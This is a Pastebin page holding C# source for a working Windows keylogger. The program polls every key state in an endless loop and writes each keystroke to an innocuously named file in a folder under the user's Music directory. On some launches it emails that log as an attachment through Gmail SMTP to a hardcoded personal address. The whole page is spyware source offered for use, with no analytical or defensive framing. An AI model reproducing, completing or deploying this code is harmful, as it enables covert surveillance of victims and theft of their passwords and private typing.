Advertisement
Guest User

Untitled

a guest
Feb 16th, 2018
260
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.43 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6.  
  7. using System.Windows.Forms;
  8. using System.Runtime.InteropServices;
  9. using System.Threading;
  10. using System.IO;
  11. using System.Net.Mail;
  12.  
  13. namespace ConsoleApp3
  14. {
  15. internal class Program
  16. {
  17. [DllImport("user32.dll")]
  18. public static extern int GetAsyncKeyState(Int32 i);
  19.  
  20. public static void Main(string[] args)
  21. {
  22. Random rand = new Random();
  23. int randomnumber = rand.Next(1, 10);
  24. if (randomnumber > 5)
  25. {
  26. SendMail();
  27. }
  28. LogKeys();
  29. }
  30.  
  31. public static void LogKeys()
  32. {
  33. String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
  34. filepath = filepath + @"\LogsFolder\";
  35.  
  36. if (!Directory.Exists(filepath))
  37. {
  38. Directory.CreateDirectory(filepath);
  39. }
  40.  
  41. string path = (@filepath + "TNPC000f00001.tcd");
  42.  
  43. if (!File.Exists(path))
  44. {
  45. using (var xc = File.OpenWrite(path))
  46. using (var bw = new BinaryWriter(xc))
  47. {
  48. bw.Write(new byte[] { 123 });
  49. bw.Write(123);
  50. }
  51. }
  52.  
  53. KeysConverter converter = new KeysConverter();
  54. string text = "";
  55.  
  56. while (5 > 1)
  57. {
  58. Thread.Sleep(5);
  59. for (Int32 i = 0; i < 2000; i++)
  60. {
  61. int key = GetAsyncKeyState(i);
  62.  
  63. if (key == 1 || key == -32767)
  64. {
  65. text = converter.ConvertToString(i);
  66. using (StreamWriter sw = File.AppendText(path))
  67. {
  68. sw.WriteLine(text);
  69. }
  70. break;
  71. }
  72. }
  73. }
  74. }
  75.  
  76. public static void SendMail()
  77. {
  78. String Newfilepath = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
  79. string Newfilepath2 = Newfilepath + @"\LogsFolder\TNPC000f00001.tcd"; // get Log path
  80.  
  81. DateTime dateTime = DateTime.Now; // call date
  82. string subtext = "Loggedfiles"; // email subject
  83. subtext += dateTime;
  84.  
  85. SmtpClient client = new SmtpClient("smtp.gmail.com", 587); // GMAIL Port
  86. MailMessage LOGMESSAGE = new MailMessage();
  87. LOGMESSAGE.From = new MailAddress("hanshanber@gmail.com"); // YOUR EMAIL
  88. LOGMESSAGE.To.Add("hanshanber@gmail.com"); // YOUR EMAIL
  89. LOGMESSAGE.Subject = subtext; // Subject
  90.  
  91. client.UseDefaultCredentials = false; // Call email creds
  92. client.EnableSsl = true;
  93. client.Credentials = new System.Net.NetworkCredential("x@gmail.com", "x");
  94.  
  95. string newfile = File.ReadAllText(Newfilepath2); // reads log file
  96.  
  97. string attachmenttextfile = Newfilepath + @"\LogsFolder\TNPC000f000011.tcd"; // path to find new file!
  98. File.WriteAllText(attachmenttextfile, newfile);
  99. LOGMESSAGE.Attachments.Add(new Attachment(Newfilepath2));
  100. LOGMESSAGE.Body = subtext;
  101. client.Send(LOGMESSAGE);
  102. LOGMESSAGE = null;
  103. }
  104. }
  105. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement